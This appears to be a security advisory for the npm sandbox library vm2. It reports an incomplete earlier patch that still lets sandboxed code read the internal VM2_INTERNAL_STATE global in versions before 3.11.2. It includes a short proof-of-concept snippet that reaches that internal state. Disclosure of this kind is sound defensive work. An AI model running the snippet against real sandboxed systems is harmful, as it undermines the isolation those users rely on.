All reports
Medium

vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`

Affected versions

npmvm2
Affected versions
< 3.11.2
Fixed version
3.11.2

Exploitation

CVE-2026-92963

Probability of exploitation in the next 30 days: 0.34%

FIRST EPSS · 2026-11-23

Description

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));

Links

Credits

  • XmiliaH
  • zuhairhalawa